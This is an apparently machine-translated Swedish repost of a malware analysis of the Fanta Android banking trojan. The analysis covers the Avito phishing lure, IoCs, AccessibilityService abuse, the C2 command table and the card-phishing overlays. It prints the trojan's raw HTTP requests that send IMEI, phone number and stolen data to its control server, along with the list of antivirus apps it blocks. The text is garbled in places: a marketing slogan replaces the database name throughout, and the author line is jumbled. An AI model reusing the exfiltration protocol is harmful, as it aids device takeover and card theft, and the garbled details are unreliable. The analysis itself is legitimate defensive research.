NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan

En dag vill du sÀlja nÄgot pÄ Avito och nÀr du lÀgger upp en detaljerad beskrivning av din produkt (till exempel ett RAM-minne) fÄr du ett sÄdant meddelande:

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojanNÀr du öppnar lÀnken ser du en till synes ganska harmlös sida som informerar dig, den lyckliga och framgÄngsrika sÀljaren, om att ett köp har genomförts:

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan
Efter att du har tryckt pĂ„ knappen "FortsĂ€tt" kommer en APK-fil med en ikon och ett namn som verkar pĂ„litligt att laddas ner till din Android-enhet. Du har installerat en app som av nĂ„gon anledning begĂ€rde rĂ€ttigheter för AccessibilityService, och plötsligt dyker ett par fönster upp och försvinner snabbt


Du gÄr in för att kontrollera ditt saldo, men din bankapp verkar Äterigen be om dina kortuppgifter. Efter att ha matat in informationen hÀnder nÄgot hemskt: av nÄgon Ànnu oförklarlig anledning börjar pengar försvinna frÄn ditt konto. Du försöker lösa problemet, men din telefon motstrider dig: den trycker sjÀlv pÄ knapparna "BakÄt" och "Hem", stÀnger inte av sig och lÄter dig inte aktivera nÄgra sÀkerhetsÄtgÀrder. I slutÀndan Àr du utan pengar, din vara Àr inte sÄld, du Àr förvirrad och undrar: vad hÀnde?

Svaret Àr enkelt: du har blivit ett offer för Android-trojanen Fanta frÄn Flexnet-familjen. Hur kunde det hÀnda? LÄt oss förklara.

Författare: Andrei Polovinkin, junior specialist inom malwareanalys, i sin forskning beskriver i detalj hur Gustuff fungerar och vilka faror det medför., specialist inom malwareanalys.

Lite statistik

Familjen av Android-trojaner Flexnet blev först kĂ€nd redan 2015. Under en ganska lĂ„ng period av aktivitet har familjen expanderat till flera varianter: Fanta, Limebot, Lipton och sĂ„ vidare. Trojanska program, liksom den relaterade infrastrukturen, stĂ„r inte stilla: nya effektiva distributionsmetoder utvecklas – i vĂ„rt fall kvalitativa phishing-sidor riktade mot specifika anvĂ€ndare-sĂ€ljare, och utvecklarna av trojanen följer modetrender inom virusutveckling – de lĂ€gger till nya funktioner som gör det lĂ€ttare att stjĂ€la pengar frĂ„n infekterade enheter och kringgĂ„ skyddsmekanismer.

Kampanjen som beskrivs i denna artikel riktar sig till anvÀndare i Ryssland, ett litet antal infekterade enheter har registrerats i Ukraina, Ànnu fÀrre i Kazakstan och Vitryssland.

Trots att Flexnet har funnits pĂ„ Android-trojans arenan i över 4 Ă„r och har undersökts noggrant av mĂ„nga forskare, Ă€r det fortfarande i god form. FrĂ„n januari 2019 berĂ€knas den potentiella skadan överstiga 35 miljoner rubel — och det Ă€r endast frĂ„n kampanjer i Ryssland. År 2015 sĂ„ldes olika versioner av denna Android-trojansk hĂ€st pĂ„ svarta forum, dĂ€r Ă€ven kĂ€llkoden till trojanen med detaljerade beskrivningar fanns tillgĂ€nglig. Detta innebĂ€r att skadenivĂ„n globalt Ă€r Ă€nnu mer imponerande. En inte dĂ„lig siffra för en gammal trotjĂ€nare, eller hur?

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan

FrÄn försÀljning till bedrÀgeri

Som framgĂ„r av den tidigare presenterade skĂ€rmdumpen av phishing-sidan för internettjĂ€nsten Avito, var den utarbetad för ett specifikt offer. Det verkar som om förövarna anvĂ€nder en av Avitos parsers för att hĂ€mta telefonnumret och namnet pĂ„ sĂ€ljaren, samt produktbeskrivningen. Efter att sidan har laddats och APK-filen förberetts, skickas ett SMS till offret med deras namn och en lĂ€nk till phishing-sidan, innehĂ„llande beskrivningen av deras produkt och beloppet som erhölls frĂ„n 'försĂ€ljningen' av produkten. Genom att trycka pĂ„ knappen fĂ„r anvĂ€ndaren en skadlig APK-fil — Fanta.

Undersökningen av domÀnen shcet491[.]ru visade att den Àr delegerad till DNS-servrarna hos företaget Hostinger:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Zonfilen för domÀnen innehÄller poster som hÀnvisar till IP-adresser 31.220.23[.]236, 31.220.23[.]243 och 31.220.23[.]235. Men den huvudsakliga resursposten (A-post) för domÀnen pekar pÄ en server med IP-adressen 178.132.1[.]240.

IP-adressen 178.132.1[.]240 ligger i NederlÀnderna och tillhör vÀrden WorldStream. IP-adresserna 31.220.23[.]235, 31.220.23[.]236 och 31.220.23[.]243 Àr belÀgna i Storbritannien och tillhör den virtuella hostingservern HOSTINGER. Registratorn Àr openprov-ru. DomÀner som ocksÄ löstes till IP-adressen 178.132.1[.]240 Àr:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

Det bör noteras att nÀstan alla domÀner hade lÀnkar som följde detta format:

http://(www.){0,1}/[0-9]{7}

Denna mall omfattar Àven lÀnken frÄn SMS-meddelandet. Historiska data har visat att en domÀn har flera lÀnkar enligt mönstret ovan, vilket tyder pÄ att en och samma domÀn anvÀnds för att sprida trojanen till flera offer.

Vi hoppar fram lite: som kontrollserver anvĂ€nder trojanen som laddats ner via lĂ€nken i SMS:et adressen onuseseddohap[.]club. Denna domĂ€n registrerades den 12 mars 2019, och frĂ„n och med den 29 april 2019 interagerade APK-applikationer med denna domĂ€n. Baserat pĂ„ uppgifterna frĂ„n VirusTotal har totalt 109 applikationer interagerat med denna server. Den aktuella domĂ€nen löste upp till IP-adressen 217.23.14[.]27, belĂ€gen i NederlĂ€nderna och tillhörande en hostingtjĂ€nst WorldStream. Registratorn Ă€r namecheap. För denna IP-adress har Ă€ven domĂ€nerna bad-racoon[.]club (sedan den 25 september 2018) och bad-racoon[.]live (sedan den 25 oktober 2018) lösts upp. Mer Ă€n 80 APK-filer har interagerat med domĂ€nen bad-racoon[.]club , med bad-racoon[.]live — mer Ă€n 100.

Överlag ser angreppet ut pĂ„ följande sĂ€tt:

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan

Vad döljer sig bakom Fanta?

Precis som mÄnga andra Android-trojaner kan Fanta lÀsa och skicka SMS, göra USSD-förfrÄgningar, samt visa egna fönster ovanpÄ applikationer (inklusive bankapplikationer). Men funktionerna i denna familj har ökat: Fanta började anvÀnda AccessibilityService för olika ÀndamÄl: lÀsa innehÄllet i andra applikationers meddelanden, förhindra upptÀckten och stoppandet av trojanens körning pÄ den infekterade enheten, osv. Fanta fungerar pÄ alla Android-versioner inte Àldre Àn 4.4. I denna artikel kommer vi att titta nÀrmare pÄ följande Fanta-exempel:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Omedelbart efter lanseringen

Direkt efter att trojanen lanseras döljer den sin ikon. Applikationen kan endast fungera om namnet pÄ den infekterade enheten inte finns i listan:

  • android_x86
  • VirtualBox
  • Nexus 5X(bullhead)
  • Nexus 5(razor)

Denna kontroll görs i trojanens huvudservice — MainService. Vid första lanseringen initieras konfigurationsparametrarna med standardvĂ€rden (formatet för lagring av konfigurationsdata och deras betydelse kommer att diskuteras senare), och Ă€ven registreringen av en ny infekterad enhet pĂ„ kontrollservern. En HTTP POST-förfrĂ„gan med meddelandetypen register_bot och information om den infekterade enheten (Android-version, IMEI, telefonnummer, operatörens namn och landskod för den registrerade operatören) kommer att skickas till servern. Kontrollservern Ă€r adressen hXXp://onuseseddohap[.]club/controller.php. Servern skickar ett meddelande som innehĂ„ller fĂ€lten bot_id, bot_pwd, server — dessa vĂ€rden sparar applikationen som parametrar för CnC-servern. Parametern server Ă€r valfri, om fĂ€ltet inte har mottagits: Fanta anvĂ€nder registreringsadressen — hXXp://onuseseddohap[.]club/controller.php. Funktionen för att Ă€ndra CnC-adressen kan anvĂ€ndas för att lösa tvĂ„ uppgifter: att jĂ€mnt fördela belastningen mellan flera servrar (vid ett stort antal infekterade enheter kan belastningen pĂ„ en icke-optimerad webbserver bli hög), samt att anvĂ€nda en alternativ server vid fel pĂ„ en av CnC-servrarna.

Om ett fel uppstÄr under begÀran kommer trojanen att försöka registrera enhet pÄ nytt efter 20 sekunder.

Efter en framgÄngsrik registrering av enheten kommer Fanta att visa följande meddelande till anvÀndaren:

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan
Viktigt meddelande: tjĂ€nsten som kallas Systemets sĂ€kerhet — namnet pĂ„ trojanens tjĂ€nst, och efter att ha tryckt pĂ„ knappen Okej öppnas ett fönster med instĂ€llningar för Accessibility för den infekterade enheten, dĂ€r anvĂ€ndaren sjĂ€lv mĂ„ste ge Accessibility-rĂ€ttigheter till den skadliga tjĂ€nsten:

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan
SÄ snart anvÀndaren aktiverar AccessibilityService, fÄr Fanta tillgÄng till innehÄllet i appfönster och de ÄtgÀrder som vidtas i dem:

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan
Strax efter att ha fÄtt Accessibility-rÀttigheter begÀr trojanen administratörsrÀttigheter och rÀttigheter att lÀsa meddelanden:

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan
Genom AccessibilityService imiterar applikationen tangenttryckningar, vilket ger sig sjÀlv alla nödvÀndiga rÀttigheter.

Fanta skapar flera databaser (som kommer att beskrivas senare) som Àr nödvÀndiga för att spara konfigurationsdata samt information som samlats in om den infekterade enheten. För att skicka insamlad information skapar trojanen en Äterkommande uppgift avsedd att extrahera fÀlt frÄn databasen och fÄ kommandon frÄn kontrollservern. Intervallet för anrop till CnC sÀtts beroende pÄ Android-versionen: för version 5.1 kommer intervallet att vara 10 sekunder, annars 60 sekunder.

För att fÄ kommandot gör Fanta en begÀran GetTask till kontrollservern. Som svar kan CnC skicka ett av följande kommandon:

TeamBeskrivning
0Skicka ett SMS-meddelande
1Utför ett telefonsamtal eller USSD-kommando
2Uppdaterar parametern intervall
3Uppdaterar parametern intercept
6Uppdaterar parametern smsManager
9Börja samla SMS-meddelanden
11ÅterstĂ€ll telefonen till fabriksinstĂ€llningarna
12Aktivering/Deaktivering av loggning av dialogfönster

Fanta samlar Àven meddelanden frÄn 70 bankapplikationer, snabba betalningssystem och elektroniska plÄnböcker och lagrar dem i en databas.

Lagring av konfigurationsparameterar

För att lagra konfigurationsparameterar anvĂ€nder Fanta en standardmetod för Android-plattformen — Preferences-filer. InstĂ€llningarna kommer att sparas i en fil med namnet settings. Beskrivningen av de sparade parametrarna finns i tabellen nedan.

NamnStandardvÀrdeMöjliga vÀrdenBeskrivning
id0HeltalBotens ID
serverhXXp://onuseseddohap[.]club/URLKontrollserverns adress
pwd—StrĂ€ngLösenord för servern
intervall20HeltalTidsintervall. Visar hur lÀnge nÀsta uppgifter ska fördröjas:
  • Vid en förfrĂ„gan om status för det skickade SMS-meddelandet
  • Mottar en ny kommando frĂ„n kontrollservern

interceptallall/telNumberOm fÀltet Àr lika med strÀngen all eller telNumber, dÄ kommer det mottagna SMS-meddelandet att fÄngas av applikationen och inte visas för anvÀndaren
smsManager00/1Aktivering/Deaktivering av applikationen som standardmottagare för SMS
readDialogfalseSant/falsktAktivering/Deaktivering av loggning av hÀndelser AccessibilityEvent

Fanta anvÀnder Àven filen smsManager:

NamnStandardvÀrdeMöjliga vÀrdenBeskrivning
pckg—StrĂ€ngNamnet pĂ„ den anvĂ€nda SMS-hanteraren

Interaktion med databaser

Under sin drift anvÀnder trojanen tvÄ databaser. Databasen med namnet a anvÀnds för att lagra olika typer av information insamlad frÄn telefonen. Den andra databasen heter fanta.db och anvÀnds för att spara instÀllningar för att skapa phishing-fönster avsedda att samla in information om bankkort.

Trojanen anvÀnder databasen Mer Àn 40 000 kunder i över 120 lÀnder för att lagra insamlad information och logga sina handlingar. Data lagras i tabellen logs. För att skapa tabellen anvÀnds följande SQL-frÄga:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Databasen innehÄller följande information:

1. Loggning av att den infekterade enheten har blivit aktiverad med meddelandet Telefonen har startat!

2. Meddelanden frÄn applikationer. Meddelandet skapas enligt följande mall:

()(): ()

3. Data om bankkort frÄn de phishing-formulÀr som trojanen skapar. Parametern VIEW_NAME kan vara en av följande:

  • AliExpress
  • Avito
  • Google Play
  • Olika

Meddelandet loggas i formatet:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) ĐĐŸĐŒĐ”Ń€ Đșарты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. Inkommande/utgÄende SMS-meddelanden i formatet:

([] Typ: Inkommande/UtgÄende) :

5. Information om paketet som skapar dialogrutan i formatet:

()

Exempel pÄ tabell logs:

NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan
En av funktionerna i Fanta Àr insamling av information om bankkort. Datainsamlingen sker genom att skapa phishingfönster nÀr bankapplikationer öppnas. Trojansk programvara skapar phishingfönstret endast en gÄng. Information om att fönstret visades för anvÀndaren sparas i tabellen settings i databasen fanta.db. För att skapa databasen anvÀnds följande SQL-frÄga:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Alla fÀlt i tabellen settings initialiseras som standard till vÀrdet 1 (skapa phishingfönster). Efter att anvÀndaren har angett sina uppgifter sÀtts vÀrdet till 0. Exempel pÄ fÀlten i tabellen settings:

  • can_login – fĂ€ltet ansvarar för att visa formulĂ€ret nĂ€r bankapplikationen öppnas
  • first_bank – anvĂ€nds inte
  • can_avito – fĂ€ltet ansvarar för att visa formulĂ€ret nĂ€r Avito-applikationen öppnas
  • can_ali – fĂ€ltet ansvarar för att visa formulĂ€ret nĂ€r Aliexpress-applikationen öppnas
  • can_another – fĂ€ltet ansvarar för att visa formulĂ€ret nĂ€r som helst ett av följande appar öppnas: Yula, Pandao, Drom Auto, PlĂ„nbok. Rabatt- och bonuskort, Aviasales, Booking, Trivago
  • can_card – fĂ€ltet ansvarar för att visa formulĂ€ret nĂ€r man öppnar Google Play

Interaktion med styrservern

NÀtverksinteraktion med styrservern sker via HTTP-protokollet. För att arbeta med nÀtverket anvÀnder Fanta det populÀra biblioteket Retrofit. FörfrÄgningar skickas till adressen hXXp://onuseseddohap[.]club/controller.php. Serverns adress kan Àndras vid registrering pÄ servern. FrÄn servern kan mailcookies komma tillbaka. Fanta utför följande förfrÄgningar till servern:

  • Registreringen av botten pĂ„ styrservern sker en gĂ„ng vid första uppstart. Följande uppgifter skickas om den infekterade enheten:
    · Cookie – mottagna cookies frĂ„n servern (standardvĂ€rdet Ă€r en tom strĂ€ng)
    · mode – strĂ€ngkonstanten register_bot
    · prefix – heltalskonstant 2
    · version_sdk – bildas enligt följande mall: /(Avit)
    · imei – IMEI för den infekterade enheten
    · land — landskodet dĂ€r operatören Ă€r registrerad, i ISO-format
    · number — telefonnummer
    · operatör — operatörens namn

    Exempel pÄ begÀran som skickas till servern:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    Servern ska svara pÄ begÀran med ett JSON-objekt som innehÄller följande parametrar:
    · bot_id — identifierare för den infekterade enheten. Om bot_id Ă€r 0 kommer Fanta att Ă„terigen utföra begĂ€ran.
    · bot_pwd — lösenord för servern.
    · server — adressen till den styrande servern. Valfri parameter. Om parametern inte anges anvĂ€nds adressen som sparats i appen.

    Exempel pÄ JSON-objekt:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • BegĂ€ran för att fĂ„ kommandon frĂ„n servern. Följande data skickas till servern:
    · Cookie — mottagna cookie frĂ„n servern
    · bid — id för den infekterade enheten som erhölls vid begĂ€ran register_bot
    · pwd — lösenord för servern
    · divice_admin — fĂ€ltet anger om administratörsrĂ€ttigheter har erhĂ„llits. Om administratörsrĂ€ttigheterna har erhĂ„llits Ă€r fĂ€ltet lika med 1, annars 0
    · Accessibility — status för Accessibility-tjĂ€nsten. Om tjĂ€nsten har startats Ă€r vĂ€rdet lika med 1, annars 0
    · SMSManager — visar om trojanen Ă€r aktiverad som standardapp för att ta emot SMS
    · screen — visar vilket tillstĂ„nd skĂ€rmen Ă€r i. VĂ€rdet kommer att sĂ€ttas till 1, om skĂ€rmen Ă€r pĂ„slagen, annars 0;

    Exempel pÄ begÀran som skickas till servern:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Beroende pÄ kommandot kan servern returnera ett JSON-objekt med olika parametrar:

    · Team Skicka ett SMS-meddelande: I parametrarna finns telefonnummer, texten pÄ SMS-meddelandet och identifieraren för det skickade meddelandet. Identifieraren anvÀnds nÀr meddelandet skickas till servern med typ setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    · Team Utför ett telefonsamtal eller USSD-kommando: Telefonnummer eller kommando kommer i svaret.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    · Team Ändra parametern interval.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": 
       	 }
        ],
        "status":"ok"
    }

    · Team Ändra intercept-parametern.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/
       	 }
        ],
        "status":"ok"
    }

    · Team Ändra SmsManager-fĂ€ltet.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    · Team Samla SMS-meddelanden frÄn den infekterade enheten.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    · Team ÅterstĂ€ll telefonen till fabriksinstĂ€llningarna:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    · Team Ändra ReadDialog-parametern.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Skicka meddelande av typen setSmsStatus. Denna begĂ€ran görs efter att kommandot har utförts Skicka ett SMS-meddelande. BegĂ€ran ser ut som följer:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=&status_sms=

  • Skicka innehĂ„llet av databasen. En rad skickas per begĂ€ran. Följande data skickas till servern:
    · Cookie — mottagna cookie frĂ„n servern
    · mode – strĂ€ngkonstanten setSaveInboxSms
    · bid — id för den infekterade enheten som erhölls vid begĂ€ran register_bot
    · text — texten i den aktuella databasinmatningen (fĂ€ltet d frĂ„n tabellen logs i databasen Mer Ă€n 40 000 kunder i över 120 lĂ€nder)
    · number — namnet pĂ„ den aktuella databasinmatningen (fĂ€ltet p frĂ„n tabellen logs i databasen Mer Ă€n 40 000 kunder i över 120 lĂ€nder)
    · sms_mode — heltal (fĂ€ltet m frĂ„n tabellen logs i databasen Mer Ă€n 40 000 kunder i över 120 lĂ€nder)

    BegÀran ser ut som följer:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=&text=&number=&sms_mode=

    Vid framgÄngsrik sÀndning till servern kommer raden att tas bort frÄn tabellen. Exempel pÄ JSON-objekt som returneras av servern:

    {
        "response":[],
        "status":"ok"
    }

Interaktion med AccessibilityService

AccessibilityService har implementerats för att underlÀtta anvÀndningen av Android-enheter för personer med funktionsnedsÀttningar. I de flesta fall krÀvs fysisk interaktion för att samverka med applikationen. AccessibilityService gör det möjligt att göra detta programatiskt. Fanta anvÀnder tjÀnsten för att skapa falska fönster i bankapplikationer och förhindra Ätkomst till systeminstÀllningar och vissa applikationer.

Genom att anvĂ€nda funktionerna i AccessibilityService övervakar trojanen förĂ€ndringar av elementen pĂ„ skĂ€rmen pĂ„ den infekterade enheten. Som tidigare nĂ€mnts finns det i Fanta-instĂ€llningarna en parameter som styr loggning av operationer med dialogrutor — readDialog. Om denna parameter Ă€r aktiverad kommer information om namnet och beskrivningen av paketet som initierade hĂ€ndelsen att lĂ€ggas till databasen. Trojen utför följande Ă„tgĂ€rder nĂ€r hĂ€ndelser utlöses:

  • Imiterar tryck pĂ„ tillbaka och hem i fall av:
    · om anvÀndaren vill starta om sin enhet
    · om anvĂ€ndaren vill ta bort appen “Avito” eller Ă€ndra behörigheter
    · om appen “Avito” nĂ€mns pĂ„ sidan
    · vid öppning av appen “Google Play Skydd”
    · vid öppning av sidor med instÀllningar för AccessibilityService
    · vid uppkomsten av dialogrutan “SystemsĂ€kerhet”
    · vid öppning av sidan med instĂ€llningar för “Dra över andra appar”
    · vid öppning av sidan “Appar”, “ÅterstĂ€llning och Ă„terstĂ€llning”, “ÅterstĂ€ll data”, “ÅterstĂ€ll instĂ€llningar”, “Utvecklarpanel”, “Specialfunktioner”, “SpecialrĂ€ttigheter”
    · om hÀndelsen genererades av vissa appar.

    Lista över appar

    • android
    • Master Lite
    • Clean Master
    • Clean Master för x86 CPU
    • Meizu Applikationsbehörighetsadministration
    • MIUI SĂ€kerhet
    • Clean Master — Antivirus & Rensning av cache och skrĂ€p
    • FörĂ€ldrakontroll och GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • Virus Cleaner, Antivirus, Cleaner (MAX Security)
    • Mobil Antivirus SĂ€kerhet PRO
    • Avast antivirus & gratis skydd 2019
    • Mobil SĂ€kerhet MĐ”ĐłĐ°Đ€ĐŸĐœ
    • AVG Skydd för Xperia
    • Mobil SĂ€kerhet
    • Malwarebytes antivirus & skydd
    • Antivirus pĂ„ Android 2019
    • Security Master — Antivirus, VPN, AppLock, Booster
    • AVG antivirus för surfplatta Huawei System Manager
    • Samsung TillgĂ€nglighet
    • Samsung Smart Manager
    • Security Master
    • Speed Booster
    • Dr.Web
    • Dr.Web SĂ€kert Utrymme
    • Dr.Web Mobil Kontrollcenter
    • Dr.Web SĂ€kert Utrymme Liv
    • Dr.Web Mobil Kontrollcenter
    • Antivirus & Mobil SĂ€kerhet
    • Kaspersky Internet Security: Antivirus och Skydd
    • Kaspersky Batteriliv: Spara & Booster
    • Kaspersky SlutpunktssĂ€kerhet — skydd och hantering
    • AVG Antivirus gratis 2019 – Skydd för Android
    • Antivirus Android
    • Norton Mobil SĂ€kerhet och Antivirus
    • Antivirus, brandvĂ€gg, VPN, mobil sĂ€kerhet
    • Mobil SĂ€kerhet: antivirus, VPN, skydd mot stöld
    • Antivirus för Android

  • Om det begĂ€rs tillstĂ„nd vid skickande av SMS till ett kortnummer, imiterar Fanta tryck pĂ„ checkbox Kom ihĂ„g valet och knappen skicka.
  • Vid försök att ta bort administratörsbehörighet frĂ„n trojanen blockeras telefonens skĂ€rm.
  • Hindrar tillsĂ€ttning av nya administratörer.
  • Om antivirusapplikationen dr.web upptĂ€ckte ett hot, imiterar Fanta tryck pĂ„ knappen ignorera.
  • Trojanen imiterar tryck pĂ„ knappen tillbaka och hem, om hĂ€ndelsen genererades av appen Samsung Device Care.
  • Fanta skapar phishingfönster med formulĂ€r för att ange information om bankkort om en app frĂ„n en lista med cirka 30 olika internettjĂ€nster har startats. Bland dem finns: AliExpress, Booking, Avito, Google Play Market, Pandao, Drom Auto och andra.

    Phishingformularer

    Fanta analyserar vilka appar som körs pÄ den infekterade enheten. Om en intressant app har öppnats visar trojanen ett phishingfönster ovanpÄ alla andra, som Àr ett formulÀr för att ange bankkortsinformation. AnvÀndaren mÄste ange följande uppgifter:

    • Kortnummer
    • UtgĂ„ngsdatum för kortet
    • CVV
    • KorthĂ„llarens namn (inte för alla banker)

    Beroende pÄ vilken app som körs kommer olika phishingfönster att visas. HÀr Àr exempel pÄ nÄgra av dem:

    Aliexpress:

    NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan
    Avito:

    NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan
    För nÄgra andra appar, till exempel Google Play Market, Aviasales, Pandao, Booking, Trivago:
    NÄgot Fanta: en ny taktik frÄn den gamla Android-trojan

    Hur det hela verkligen var

    Lyckligtvis var personen som fick det SMS som beskrivs i början av artikeln en cyberrydare. DĂ€rför skiljer sig den verkliga, icke-regisserade versionen frĂ„n den tidigare berĂ€ttade: personen fick ett intressant SMS, och efter det överlĂ€mnade det till Team Group-IB Threat Hunting Intelligence. Resultatet av attacken — denna artikel. En lycklig slutning, eller hur? Men inte alla historier slutar sĂ„ lyckligt, och för att din inte ska likna den regisserade versionen med förlust av pengar, Ă€r det i de flesta fall tillrĂ€ckligt att följa följande, lĂ€nge beskrivna regler:

    • installera inga appar för Android-mobilenheter frĂ„n andra kĂ€llor Ă€n Google Play
    • vara sĂ€rskilt uppmĂ€rksam pĂ„ de behörigheter som appen begĂ€r vid installation
    • vara uppmĂ€rksam pĂ„ filĂ€ndelser för nedladdade filer
    • regelbundet installera uppdateringar för Android-operativsystemet
    • inte besöka misstĂ€nkta resurser och inte ladda ner filer dĂ€rifrĂ„n
    • inte klicka pĂ„ lĂ€nkar i SMS-meddelanden.

KĂ€lla: habr.com

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster